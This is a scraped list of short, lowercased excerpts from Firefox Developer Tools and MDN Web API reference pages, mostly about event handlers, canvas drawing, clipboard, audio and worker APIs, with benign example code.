how to to find out what you can do with the inspector, see the following how to guides: open the inspector examine and edit html examine and edit the box model inspect and select colors reposition elements in the page edit fonts visualize transforms use the inspector api select an element examine and edit css examine event listeners work with animations edit css filters edit css shapes view background images use the inspector from the web console examine css grid layouts examine css flexbox layouts reference keyboard shortcuts settings ...
Call Tree - Firefox Developer Tools
) // 8 -> sort() // 37 -> bubblesort() // 1345 -> swap() // 252 -> selectionsort() // 190 -> swap() // 1 -> quicksort() // 103 -> partition() // 12 platform data you'll also see some rows labeled gecko, input & events, and so on.
UI Tour - Firefox Developer Tools
correlating events because these elements are synchronized, you can correlate events in one element with events in another.
Settings - Firefox Developer Tools
uncheck this box to prevent this behavior.
Taking screenshots - Firefox Developer Tools
prevents saving to a file unless you use the --file option to force file writing.
Tips - Firefox Developer Tools
click the "ev" icon besides a node to see all event listeners attached to it.
Rich output - Firefox Developer Tools
properties provides richer information for dom elements, and enables you to select them in the inspector type-specific rich output the web console provides rich output for many object types, including the following: object array date promise regexp window document element event examining object properties when an object is logged to the console it has a right-pointing triangle next to it, indicating that it can be expanded.
AbortSignal.onabort - Web APIs
the onabort read-only property of the fetchsignal interface is an event handler invoked when an abort event fires, i.e.
AbstractRange - Web APIs
minymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">abstractrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties collapsed read only a boolean value which is true if the range is collapsed.
AbstractWorker.onerror - Web APIs
the abstractworker.onerror property of the abstractworker interface represents an eventhandler, that is a function to be called when the error event occurs and bubbles through the worker.
AmbientLightSensor.illuminance - Web APIs
example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
AmbientLightSensor - Web APIs
example if ( 'ambientlightsensor' in window ) { const sensor = new ambientlightsensor(); sensor.onreading = () => { console.log('current light level:', sensor.illuminance); }; sensor.onerror = (event) => { console.log(event.error.name, event.error.message); }; sensor.start(); } specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Animation.commitStyles() - Web APIs
examples const divelem = document.queryselector('div'); document.body.addeventlistener('mousemove', evt => { let anim = divelem.animate( { transform: `translate(${ evt.clientx}px, ${evt.clienty}px)` }, { duration: 500, fill: 'forwards' } ); anim.commitstyles(); }); specifications specification status comment web animationsthe definition of 'commitstyles()' in that specification.
Animation.finish() - Web APIs
WebAPIAnimationfinish
interfaceelement.addeventlistener("mousedown", function() { try { player.finish(); } catch(e if e instanceof invalidstate) { console.log("finish() called on paused or finished animation."); } catch(e); logmyerrors(e); //pass exception object to error handler } }); the following example finishes all the animations on a single element, regardless of their direction of playback.
Animation.updatePlaybackRate() - Web APIs
examples a speed selector component would benefit from smooth updating of updateplaybackrate(), as demonstrated below: speedselector.addeventlistener('input', evt => { cartoon.updateplaybackrate(parsefloat(evt.target.value)); cartoon.ready.then(() => { console.log(`playback rate set to ${cartoon.playbackrate}`); }); }); specifications specification status comment web animationsthe definition of 'updateplaybackrate()' in that specification.
Attr.localName - Web APIs
WebAPIAttrlocalName
html content <button id="example">click me</button> javascript content const element = document.queryselector("#example"); element.addeventlistener("click", function() { const attribute = element.attributes[0]; alert(attribute.localname); }); notes the local name of an attribute is the part of the attribute's qualified name that comes after the colon.
AudioContext.close() - Web APIs
this function does not automatically release all audiocontext-created objects, unless other references have been released as well; however, it will forcibly release any system audio resources that might prevent additional audiocontexts from being created and used, suspend the progression of audio time in the audio context, and stop processing audio data.
AudioContext.getOutputTimestamp() - Web APIs
play.addeventlistener('click', () => { if(!audioctx) { audioctx = new window.audiocontext(); } getdata(); source.start(0); play.setattribute('disabled', 'disabled'); raf = requestanimationframe(outputtimestamps); }); stop.addeventlistener('click', () => { source.stop(0); play.removeattribute('disabled'); cancelanimationframe(raf); }); // function to output timestamps function outputt...
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
notsupportederror the specified connection would create a cycle (in which the audio loops back through the same nodes repeatedly) and there are no delaynodes in the cycle to prevent the resulting waveform from getting stuck constructing the same audio frame indefinitely.
AudioParam.exponentialRampToValueAtTime() - Web APIs
the change starts at the time specified for the previous event, follows an exponential ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
AudioParam.linearRampToValueAtTime() - Web APIs
the change starts at the time specified for the previous event, follows a linear ramp to the new value given in the value parameter, and reaches the new value at the time given in the endtime parameter.
AudioTrack.enabled - Web APIs
setting enabled to false effectively mutes the audio track, preventing it from contributing to the media's audio performance.
AudioWorklet - Web APIs
events audioworklet has no events to which it responds.
AudioWorkletNode.onprocessorerror - Web APIs
the onprocessorerror property of the audioworkletnode interface defines an event handler function to be called when the processorerror event fires.
AudioWorkletNode - Web APIs
event handlers audioworkletnode.onprocessorerror fired when an error is thrown in associated audioworkletprocessor.
AudioWorkletProcessor - Web APIs
events the audioworkletprocessor interface doesn't respond to any events.
AuthenticatorAssertionResponse.authenticatorData - Web APIs
the server will ensure that this hash matches a hash of its own origin in order to prevent phishing or other man-in-the-middle attacks.
BaseAudioContext.onstatechange - Web APIs
the onstatechange property of the baseaudiocontext interface defines an event handler function to be called when the statechange event fires: this occurs when the audio context's state changes.
BasicCardRequest - Web APIs
{ label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
BasicCardResponse - Web APIs
{ label: 'original donation amount', amount: {currency: 'usd', value: '65.00'} } ], shippingoptions: [ { id: 'standard', label: 'standard shipping', amount: {currency: 'usd', value: '0.00'}, selected: true } ] }; var options = {requestshipping: true}; try { var request = new paymentrequest(supportedinstruments, details, options); // add event listeners here.
Blob.arrayBuffer() - Web APIs
WebAPIBlobarrayBuffer
usage notes while similar to the filereader.readasarraybuffer() method, arraybuffer() returns a promise rather than being an event-based api, as is the case with the filereader interface's method.
Blob.text() - Web APIs
WebAPIBlobtext
there are two key differences: blob.text() returns a promise, whereas filereader.readastext() is an event based api.
Blob - Web APIs
WebAPIBlob
the following code reads the content of a blob as a typed array: const reader = new filereader(); reader.addeventlistener('loadend', () => { // reader.result contains the contents of blob as a typed array }); reader.readasarraybuffer(blob); another way to read content from a blob is to use a response.
BluetoothCharacteristicProperties - Web APIs
let device = await navigator.bluetooth.requestdevice({ filters: [{services: ['heart_rate']}] }); let gatt = await device.gatt.connect(); let service = await gatt.getprimaryservice('heart_rate'); let characteristic = await service.getcharacteristic('heart_rate_measurement'); if (characteristic.properties.notify) { characteristics.addeventlistener('characteristicvaluechanged', function(event) { console.log(`received heart rate measurement: ${event.target.value}`); } await characteristic.startnotifications(); } specifications specification status comment web bluetooththe definition of 'bluetoothcharacteristicproperties' in that specification.
BluetoothRemoteGATTCharacteristic - Web APIs
uetoothremotegattdescriptor> getdescriptor(bluetoothdescriptoruuid descriptor); promise<sequence<bluetoothremotegattdescriptor>> getdescriptors(optional bluetoothdescriptoruuid descriptor); promise<dataview> readvalue(); promise<void> writevalue(buffersource value); promise<void> startnotifications(); promise<void> stopnotifications(); }; bluetoothremotegattcharacteristic implements eventtarget; bluetoothremotegattcharacteristic implements characteristiceventhandlers; properties bluetoothremotegattcharacteristic.serviceread only returns the bluetoothgattservice this characteristic belongs to.
BluetoothRemoteGATTService - Web APIs
interface interface bluetoothremotegattservice : serviceeventhandlers { readonly attribute uuid uuid; readonly attribute boolean isprimary; readonly attribute bluetoothdevice device; promise<bluetoothgattcharacteristic> getcharacteristic(bluetoothcharacteristicuuid characteristic); promise<sequence<bluetoothgattcharacteristic>> getcharacteristics(optional bluetoothcharacteristicuuid characteristic); promise<bluetoothgattservice> getincludedservice(bluetoothserviceuuid service); promise<sequence<bluetoothgattservice>> getincludedservices(optional bluetoothserviceuu...
BroadcastChannel.onmessageerror - Web APIs
the onmessageerror event handler of the broadcastchannel interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the broadcastchannel instance — that is, when it receives a message that cannot be deserialized.
BroadcastChannel.postMessage() - Web APIs
the message is transmitted as a message event targeted at each broadcastchannel bound to the channel.
CSSCounterStyleRule - Web APIs
a xlink:href="/docs/web/api/csscounterstylerule" target="_top"><rect x="116" y="1" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">csscounterstylerule</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties from its parent cssrule.
CSSMathSum - Web APIs
event handlers no methods none.
CSSMathValue - Web APIs
event handlers no methods none.
CSSNumericValue - Web APIs
event handlers no methods cssnumericvalue.add adds a supplied number to the cssnumericvalue.
CSSPrimitiveValue - Web APIs
"/><a xlink:href="/docs/web/api/cssprimitivevalue" target="_top"><rect x="121" y="1" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssprimitivevalue</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, cssvalue.
CSSStyleDeclaration.setProperty() - Web APIs
domborder() { const newborder = random(1, 50) + 'px solid ' + randomcolor(); boxpararule.style.setproperty('border', newborder); } function setrandombgcolor() { const newbgcolor = randomcolor(); boxpararule.style.setproperty('background-color', newbgcolor); } function setrandomcolor() { const newcolor = randomcolor(); boxpararule.style.setproperty('color', newcolor); } borderbtn.addeventlistener('click', setrandomborder); bgcolorbtn.addeventlistener('click', setrandombgcolor); colorbtn.addeventlistener('click', setrandomcolor); result specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.setproperty()' in that specification.
CSSUnitValue - Web APIs
event handlers none.
CSSValueList - Web APIs
e="#d4dde4"/><a xlink:href="/docs/web/api/cssvaluelist" target="_top"><rect x="121" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="181" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">cssvaluelist</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, cssvalue.
Cache.delete() - Web APIs
WebAPICachedelete
ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
Cache.keys() - Web APIs
WebAPICachekeys
ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
Cache.matchAll() - Web APIs
WebAPICachematchAll
ignoremethod: a boolean that, when set to true, prevents matching operations from validating the request http method (normally only get and head are allowed.) it defaults to false.
CanvasCaptureMediaStreamTrack.requestFrame() - Web APIs
to prevent automatic capture of frames, so that frames are only captured when requestframe() is called, specify a value of 0 for the capturestream() method when creating the stream.
CanvasPattern.setTransform() - Web APIs
s'); var ctx = canvas.getcontext('2d'); var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var edit = document.getelementbyid('edit'); var code = textarea.value; var svg1 = document.getelementbyid('svg1'); var matrix = svg1.createsvgmatrix(); function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', drawcanvas); window.addeventlistener('load', drawcanvas); specifications specification status comment html living standardthe definition of 'canvaspattern.settransform' in that specification...
CanvasRenderingContext2D.drawFocusIfNeeded() - Web APIs
html <canvas id="canvas"> <button id="button1">continue</button> <button id="button2">quit</button> </canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const button1 = document.getelementbyid('button1'); const button2 = document.getelementbyid('button2'); document.addeventlistener('focus', redraw, true); document.addeventlistener('blur', redraw, true); canvas.addeventlistener('click', handleclick, false); redraw(); function redraw() { ctx.clearrect(0, 0, canvas.width, canvas.height); drawbutton(button1, 20, 20); drawbutton(button2, 20, 80); } function handleclick(e) { // calculate click coordinates const x = e.clientx - canvas.offsetleft; const y = e.
CanvasRenderingContext2D.drawImage() - Web APIs
const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelementbyid('source'); image.addeventlistener('load', e => { ctx.drawimage(image, 33, 71, 104, 124, 21, 20, 87, 104); }); result understanding source element size the drawimage() method uses the source element's intrinsic size in css pixels when drawing.
CanvasRenderingContext2D.filter - Web APIs
html <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); const image = document.getelementbyid('source'); image.addeventlistener('load', e => { ctx.filter = 'contrast(1.4) sepia(1) drop-shadow(9px 9px 2px #e81)'; ctx.drawimage(image, 10, 10, 180, 120); }); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.filter' in that specification.
CanvasRenderingContext2D.globalAlpha - Web APIs
if we were to increase the step count (and thus draw more circles), the background would eventually disappear completely from the center of the image.
CanvasRenderingContext2D.isPointInPath() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create circle const circle = new path2d(); circle.arc(150, 75, 50, 0, 2 * math.pi); ctx.fillstyle = 'red'; ctx.fill(circle); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside circle if (ctx.ispointinpath(circle, event.offsetx, event.offsety)) { ctx.fillstyle = 'green'; } else { ctx.fillstyle = 'red'; } // draw circle ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(circle); }); result specifications specification status comment html ...
CanvasRenderingContext2D.isPointInStroke() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // create ellipse const ellipse = new path2d(); ellipse.ellipse(150, 75, 40, 60, math.pi * .25, 0, 2 * math.pi); ctx.linewidth = 25; ctx.strokestyle = 'red'; ctx.fill(ellipse); ctx.stroke(ellipse); // listen for mouse moves canvas.addeventlistener('mousemove', function(event) { // check whether point is inside ellipse's stroke if (ctx.ispointinstroke(ellipse, event.offsetx, event.offsety)) { ctx.strokestyle = 'green'; } else { ctx.strokestyle = 'red'; } // draw ellipse ctx.clearrect(0, 0, canvas.width, canvas.height); ctx.fill(ellipse); ctx.stroke(ellipse); }); result specifications specifi...
CanvasRenderingContext2D.miterLimit - Web APIs
(100, 100); ctx.stroke();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); screenshotlive sample specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.mit...
CanvasRenderingContext2D.scrollPathIntoView() - Web APIs
ctx.scrollpathintoview();</textarea> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); var textarea = document.getelementbyid("code"); var reset = document.getelementbyid("reset"); var edit = document.getelementbyid("edit"); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener("click", function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener("click", function() { textarea.focus(); }) textarea.addeventlistener("input", drawcanvas); window.addeventlistener("load", drawcanvas); specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.scrollpathintoview' in t...
Drawing text - Web APIs
t("hello world", 0, 100);</textarea> var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var textarea = document.getelementbyid('code'); var reset = document.getelementbyid('reset'); var edit = document.getelementbyid('edit'); var code = textarea.value; function drawcanvas() { ctx.clearrect(0, 0, canvas.width, canvas.height); eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; drawcanvas(); }); edit.addeventlistener('click', function() { textarea.focus(); }) textarea.addeventlistener('input', drawcanvas); window.addeventlistener('load', drawcanvas); advanced text measurements in the case you need to obtain more details about the text, the following method allows you to measure it.
Channel Messaging API - Web APIs
the other browsing context can listen for the message using messageport.onmessage, and grab the contents of the message using the event's data attribute.
Client.type - Web APIs
WebAPIClienttype
a document) function sendmessage(message) { return new promise(function(resolve, reject) { // note that this is the serviceworker.postmessage version navigator.serviceworker.controller.postmessage(message); window.serviceworker.onmessage = function(e) { resolve(e.data); }; }); } // controlling service worker self.addeventlistener("message", function(e) { // e.source is a client object e.source.postmessage("hello!
Client.url - Web APIs
WebAPIClienturl
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: 'window' }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status com...
Clients - Web APIs
WebAPIClients
addeventlistener('notificationclick', event => { event.waituntil(async function() { const allclients = await clients.matchall({ includeuncontrolled: true }); let chatclient; // let's see if we already have a chat window open: for (const client of allclients) { const url = new url(client.url); if (url.pathname == '/chat/') { // excellent, let's use it!
Clipboard.read() - Web APIs
WebAPIClipboardread
specifications specification status comment clipboard api and eventsthe definition of 'read()' in that specification.
Clipboard.readText() - Web APIs
navigator.clipboard.readtext().then( cliptext => document.getelementbyid("outbox").innertext = cliptext); specifications specification status comment clipboard api and eventsthe definition of 'readtext()' in that specification.
Clipboard.write() - Web APIs
WebAPIClipboardwrite
specifications specification status comment clipboard api and eventsthe definition of 'write()' in that specification.
Clipboard.writeText() - Web APIs
navigator.clipboard.writetext("<empty clipboard>").then(function() { /* clipboard successfully set */ }, function() { /* clipboard write failed */ }); specifications specification status comment clipboard api and eventsthe definition of 'writetext()' in that specification.
ClipboardItem() - Web APIs
url = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.getType() - Web APIs
= await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem.types - Web APIs
= await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
ClipboardItem - Web APIs
= await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
Console.timeStamp() - Web APIs
WebAPIConsoletimeStamp
this lets you correlate a point in your code with the other events recorded in the timeline, such as layout and paint events.
Console API - Web APIs
the console api spec was created to define consistent behavior, and all modern browsers eventually settled on implementing this behavior — although some implementations still have their own additional proprietary functions.
ContentIndex.add() - Web APIs
WebAPIContentIndexadd
return value returns a promise that resolves with undefined exceptions typeerror if the service worker's registration is not present or the service worker does not contain a fetchevent.
Credential - Web APIs
(for passwordcredential, federatedcredential and publickeycredential) event handlers none.
Credential Management API - Web APIs
credentialscontainer exposes methods to request credentials and notify the user agent when interesting events occur such as successful sign in or sign out.
DOMException - Web APIs
the domexception interface represents an abnormal event (called an exception) that occurs as a result of calling a method or accessing a property of a web api.
DOMRect - Web APIs
WebAPIDOMRect
25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/domrect" target="_top"><rect x="191" y="1" width="75" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="228.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">domrect</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor domrect() creates a new domrect object.
DOMTokenList.forEach() - Web APIs
syntax tokenlist.foreach(callback [, thisarg]); parameters callback function to execute for each element, eventually taking three arguments: currentvalue the current element being processed in the array.
DOMTokenList.toggle() - Web APIs
first, the html: <span class="a b">classlist is 'a b'</span> now the javascript: let span = document.queryselector("span"); let classes = span.classlist; span.addeventlistener('click', function() { let result = classes.toggle("c"); if (result) { span.textcontent = `'c' added; classlist is now "${classes}".`; } else { span.textcontent = `'c' removed; classlist is now "${classes}".`; } }) the output looks like this: specifications specification status comment domthe definition of 'toggle()' in that specification.
DataTransfer.mozCursor - Web APIs
function drop_handler(event) { var dragdata = event.datatransfer; console.log("mozcursor = " + dragdata.mozcursor); } specifications this property is not defined in any web standard.
DataTransfer.mozItemCount - Web APIs
function drop_handler(event) { var files = []; var dt = event.datatransfer; for (var i = 0; i < dt.mozitemcount; i++) files.push(dt.mozgetdataat("application/x-moz-file", i)); } specifications this property is not defined in any web standard.
DataTransferItem.kind - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^t...
DataTransferItem.type - Web APIs
function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text...
DataTransferItem - Web APIs
during a drag operation, each drag event has a datatransfer property which contains a list of drag data items.
DataTransferItemList - Web APIs
during a drag operation, each dragevent has a datatransfer property and that property is a datatransferitemlist.
DedicatedWorkerGlobalScope.close() - Web APIs
the close() method of the dedicatedworkerglobalscope interface discards any tasks queued in the dedicatedworkerglobalscope's event loop, effectively closing this particular scope.
DedicatedWorkerGlobalScope.onmessage - Web APIs
the onmessage property of the dedicatedworkerglobalscope interface represents an eventhandler to be called when the message event occurs and bubbles through the worker — i.e.
DedicatedWorkerGlobalScope.onmessageerror - Web APIs
the onmessageerror event handler of the dedicatedworkerglobalscope interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the worker—that is, when it receives a message that cannot be deserialized.
DedicatedWorkerGlobalScope.postMessage() - Web APIs
syntax postmessage(amessage, transferlist); parameters amessage the object to deliver to the main thread; this will be in the data field in the event delivered to the worker.onmessage handler.
DeprecationReportBody - Web APIs
red: true } let observer = new reportingobserver(function(reports, observer) { reportbtn.onclick = () => displayreports(reports); }, options); we then tell it to start observing reports using reportingobserver.observe(); this tells the observer to start collecting reports in its report queue, and runs the callback function specified inside the constructor: observer.observe(); because of the event handler we set up inside the reportingobserver() constructor, we can now click the button to display the report details.
Document.alinkColor - Web APIs
a link is active during the time between mousedown and mouseup events.
Document.caretRangeFromPoint() - Web APIs
nge.startcontainer; offset = range.startoffset; } // only split text_nodes if (textnode && textnode.nodetype == 3) { let replacement = textnode.splittext(offset); let br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } let paragraphs = document.getelementsbytagname("p"); for (let i = 0; i < paragraphs.length; i++) { paragraphs[i].addeventlistener('click', insertbreakatpoint, false); } result ...
Document.createTouchList() - Web APIs
t.createtouch(window, target, 2, 25, 30, 45, 50); // create an empty touchlist objects var list0 = document.createtouchlist(); // create a touchlist with only one touch object var list1 = document.createtouchlist(touch1); // create a list with two touch objects var list2 = document.createtouchlist(touch1, touch2); specifications specification status comment touch eventsthe definition of 'document.createtouchlist()' in that specification.
Document.currentScript - Web APIs
(for modules use import.meta instead.) it's important to note that this will not reference the <script> element if the code in the script is being called as a callback or event handler; it will only reference the element while it's initially being processed.
Document.exitFullscreen() - Web APIs
document.onclick = function (event) { if (document.fullscreenelement) { document.exitfullscreen() .then(() => console.log("document exited form full screen mode")) .catch((err) => console.error(err)) } else { document.documentelement.requestfullscreen(); } } note: for a more complete example, see the example in element.requestfullscreen().
Document.exitPointerLock() - Web APIs
to track the success or failure of the request, it is necessary to listen for the pointerlockchange and pointerlockerror events.
Document.hasStorageAccess() - Web APIs
if the promise gets resolved and a user gesture event was being processed when the function was originally called, the resolve handler will run as if a user gesture was being processed, so it will be able to call apis that require user activation.
Document.hidden - Web APIs
WebAPIDocumenthidden
syntax var boolean = document.hidden examples document.addeventlistener("visibilitychange", function() { console.log( document.hidden ); // modify behavior...
Document.onoffline - Web APIs
the document.onoffline event handler is called when an offline is fired on the <body> element and bubbles up, when navigator.online property changes and becomes false.
Document.onvisibilitychange - Web APIs
the document.onvisibilitychange property represents the event handler that is called when a visibilitychange event reaches this object.
Document.open() - Web APIs
WebAPIDocumentopen
for example: all event listeners currently registered on the document, nodes inside the document, or the document's window are removed.
Document.releaseCapture() - Web APIs
syntax document.releasecapture(); once mouse capture is released, mouse events will no longer all be directed to the element on which capture is enabled.
DocumentOrShadowRoot.caretPositionFromPoint() - Web APIs
offset = range.startoffset; } // only split text_nodes if (textnode.nodetype == 3) { var replacement = textnode.splittext(offset); var br = document.createelement('br'); textnode.parentnode.insertbefore(br, replacement); } } window.onload = function (){ var paragraphs = document.getelementsbytagname("p"); for (i=0 ; i < paragraphs.length; i++) { paragraphs[i].addeventlistener("click", insertbreakatpoint, false); } }; specifications specification status comment css object model (cssom) view modulethe definition of 'caretpositionfrompoint()' in that specification.
DocumentOrShadowRoot.elementFromPoint() - Web APIs
elements with pointer-events set to none will be ignored, and the element below it will be returned.
DocumentOrShadowRoot.pointerLockElement - Web APIs
the pointerlockelement property of the document and shadowroot interfaces provides the element set as the target for mouse events while the pointer is locked.
DocumentOrShadowRoot - Web APIs
documentorshadowroot.pointerlockelement read only returns the element set as the target for mouse events while the pointer is locked.
DynamicsCompressorNode() - Web APIs
the dynamicscompressornode() constructor creates a new dynamicscompressornode object which provides a compression effect, which lowers the volume of the loudest parts of the signal, in order to help prevent clipping and distortion.
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
Element.closest() - Web APIs
WebAPIElementclosest
; } if (!element.prototype.closest) { element.prototype.closest = function(s) { var el = this; do { if (element.prototype.matches.call(el, s)) return el; el = el.parentelement || el.parentnode; } while (el !== null && el.nodetype === 1); return null; }; } however, if you really do require ie 8 support, then the following polyfill will do the job very slowly, but eventually.
Element.getBoundingClientRect() - Web APIs
with ie and edge, not being able to add missing properties to their returned clientrect, object prevents backfilling x and y.
Element.insertAdjacentElement() - Web APIs
example beforebtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.backgroundcolor = randomcolor(); if (activeelem) { activeelem.insertadjacentelement('beforebegin',tempdiv); } setlistener(tempdiv); }); afterbtn.addeventlistener('click', function() { var tempdiv = document.createelement('div'); tempdiv.style.backgroundcolor = randomcolor(); if (activeele...
Element.insertAdjacentText() - Web APIs
example beforebtn.addeventlistener('click', function() { para.insertadjacenttext('afterbegin',textinput.value); }); afterbtn.addeventlistener('click', function() { para.insertadjacenttext('beforeend',textinput.value); }); have a look at our insertadjacenttext.html demo on github (see the source code too.) here we have a simple paragraph.
Element.part - Web APIs
WebAPIElementpart
let tabs = []; let children = this.shadowroot.children; for(let elem of children) { if(elem.getattribute('part')) { tabs.push(elem); } } tabs.foreach((tab) => { tab.addeventlistener('click', (e) => { tabs.foreach((tab) => { tab.part = 'tab'; }) e.target.part = 'tab active'; }) console.log(tab.part); }) specifications specification status comment shadow partsthe definition of 'element.part' in that specification.
Element.requestPointerLock() - Web APIs
to track the success or failure of the request, it is necessary to listen for the pointerlockchange and pointerlockerror events at the document level.
Element.scrollHeight - Web APIs
element.scrollheight - element.scrolltop === element.clientheight when the container does not scroll, but has overflowing children, these checks determine if the container can scroll: window.getcomputedstyle(element).overflowy === 'visible' window.getcomputedstyle(element).overflowy !== 'hidden' scrollheight demo associated with the onscroll event, this equivalence can be useful to determine whether a user has read a text or not (see also the element.scrolltop and element.clientheight properties).
Element.scrollWidth - Web APIs
('anotherdiv'); //check to determine if an overflow is happening function isoverflowing(element) { return (element.scrollwidth > element.offsetwidth); } function alertoverflow(element) { if (isoverflowing(element)) { alert('contents are overflowing the container.'); } else { alert('no overflows!'); } } buttonone.addeventlistener('click', function() { alertoverflow(divone); }); buttontwo.addeventlistener('click', function() { alertoverflow(divtwo); }); </script> </html> result specification specification status comment css object model (cssom) view modulethe definition of 'element.scrollwidth' in that specification.
Encrypted Media Extensions API - Web APIs
